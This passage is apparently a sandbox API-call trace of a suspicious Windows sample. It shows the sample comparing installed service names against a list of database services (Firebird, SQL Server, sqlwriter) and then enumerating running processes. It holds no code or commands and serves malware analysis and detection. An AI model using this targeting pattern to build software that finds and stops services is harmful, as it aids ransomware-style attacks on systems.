	[0055.259] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0055.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0055.259] lstrlenW (lpString="lmhosts") returned 7
	[0055.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0055.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0055.259] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0055.440] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0055.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0055.440] lstrlenW (lpString="LSM") returned 3
	[0055.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0055.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0055.441] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0055.441] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0055.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0055.441] lstrlenW (lpString="MapsBroker") returned 10
	[0055.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1
	[0055.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1
	[0055.441] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1
	[0055.441] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1
	[0055.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1
	[0055.441] lstrlenW (lpString="MpsSvc") returned 6
	[0055.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0055.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0055.441] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0055.441] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0055.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0055.441] lstrlenW (lpString="NcbService") returned 10
	[0055.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0055.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0055.441] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0055.441] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0055.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0055.441] lstrlenW (lpString="netprofm") returned 8
	[0055.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0055.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0055.441] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0055.441] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0055.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0055.441] lstrlenW (lpString="NgcSvc") returned 6
	[0055.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0055.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0055.442] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0055.442] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0055.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0055.442] lstrlenW (lpString="NlaSvc") returned 6
	[0055.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0055.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0055.442] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0055.442] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0055.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0055.442] lstrlenW (lpString="nsi") returned 3
	[0055.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0055.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0055.442] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0055.442] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0055.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0055.442] lstrlenW (lpString="PcaSvc") returned 6
	[0055.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0055.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0055.442] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0055.442] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0055.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0055.442] lstrlenW (lpString="PlugPlay") returned 8
	[0055.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0055.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0055.442] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0055.442] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0055.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0055.442] lstrlenW (lpString="Power") returned 5
	[0055.442] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0055.442] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0055.442] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0055.442] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0055.442] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0055.443] lstrlenW (lpString="ProfSvc") returned 7
	[0055.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0055.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0055.443] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0055.443] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0055.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0055.443] lstrlenW (lpString="RpcEptMapper") returned 12
	[0055.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0055.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0055.443] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0055.443] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0055.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0055.443] lstrlenW (lpString="RpcSs") returned 5
	[0055.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0055.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0055.443] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0055.443] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0055.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0055.443] lstrlenW (lpString="SamSs") returned 5
	[0055.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0055.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0055.443] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0055.443] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0055.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0055.443] lstrlenW (lpString="Schedule") returned 8
	[0055.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0055.443] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0055.443] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0055.443] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0055.443] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0055.443] lstrlenW (lpString="SecurityHealthService") returned 21
	[0055.443] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0055.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0055.444] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0055.444] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0055.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0055.444] lstrlenW (lpString="SENS") returned 4
	[0055.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0055.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0055.444] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0055.444] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0055.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0055.444] lstrlenW (lpString="ShellHWDetection") returned 16
	[0055.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0055.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0055.444] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0055.444] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0055.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0055.444] lstrlenW (lpString="Spooler") returned 7
	[0055.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0055.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0055.444] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0055.444] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0055.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0055.444] lstrlenW (lpString="StateRepository") returned 15
	[0055.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0055.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0055.444] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0055.444] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0055.444] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0055.444] lstrlenW (lpString="SysMain") returned 7
	[0055.444] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0055.444] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0055.444] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0055.444] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0055.445] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54a278 | out: hHeap=0x4f0000) returned 1
	[0055.445] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c
	[0055.453] Process32FirstW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0055.453] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0055.454] lstrlenW (lpString="System") returned 6
	[0055.454] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0055.454] lstrlenW (lpString="smss.exe") returned 8
	[0055.454] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0055.455] lstrlenW (lpString="csrss.exe") returned 9
	[0055.455] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0055.455] lstrlenW (lpString="wininit.exe") returned 11
	[0055.455] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0055.456] lstrlenW (lpString="csrss.exe") returned 9
	[0055.456] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0055.456] lstrlenW (lpString="winlogon.exe") returned 12
	[0055.456] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0055.457] lstrlenW (lpString="services.exe") returned 12
	[0055.457] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0055.457] lstrlenW (lpString="lsass.exe") returned 9
	[0055.457] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0055.458] lstrlenW (lpString="svchost.exe") returned 11
	[0055.458] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0055.458] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0055.458] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0055.459] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0055.459] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0055.459] lstrlenW (lpString="svchost.exe") returned 11
	[0055.459] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0055.460] lstrlenW (lpString="dwm.exe") returned 7
	[0055.460] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0055.461] lstrlenW (lpString="svchost.exe") returned 11
	[0055.461] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0055.461] lstrlenW (lpString="svchost.exe") returned 11
	[0055.461] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0055.462] lstrlenW (lpString="svchost.exe") returned 11
	[0055.462] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0055.462] lstrlenW (lpString="svchost.exe") returned 11
	[0055.462] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0055.463] lstrlenW (lpString="svchost.exe") returned 11
	[0055.463] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0055.463] lstrlenW (lpString="svchost.exe") returned 11
	[0055.464] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0055.464] lstrlenW (lpString="svchost.exe") returned 11
	[0055.464] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0055.465] lstrlenW (lpString="svchost.exe") returned 11
	[0055.465] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0055.465] lstrlenW (lpString="svchost.exe") returned 11
	[0055.465] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0055.466] lstrlenW (lpString="spoolsv.exe") returned 11
	[0055.466] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0055.466] lstrlenW (lpString="svchost.exe") returned 11
	[0055.466] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0055.467] lstrlenW (lpString="svchost.exe") returned 11
	[0055.467] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0055.467] lstrlenW (lpString="audiodg.exe") returned 11
	[0055.467] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0055.468] lstrlenW (lpString="sihost.exe") returned 10
	[0055.468] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0055.468] lstrlenW (lpString="svchost.exe") returned 11
	[0055.468] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0055.469] lstrlenW (lpString="taskhostw.exe") returned 13
	[0055.469] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0055.469] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0055.469] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0055.470] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0055.470] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3e, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0055.470] lstrlenW (lpString="explorer.exe") returned 12
	[0055.470] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0055.471] lstrlenW (lpString="Memory Compression") returned 18
	[0055.471] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0055.471] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0055.471] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0055.472] lstrlenW (lpString="SearchUI.exe") returned 12
	[0055.472] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0055.473] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0055.473] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0055.473] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0055.473] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0055.474] lstrlenW (lpString="taskhostw.exe") returned 13
	[0055.474] Process32NextW (in: hSnapshot=0x27c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0055.474] lstrlenW (lpString="UsoClient.exe") returned 13
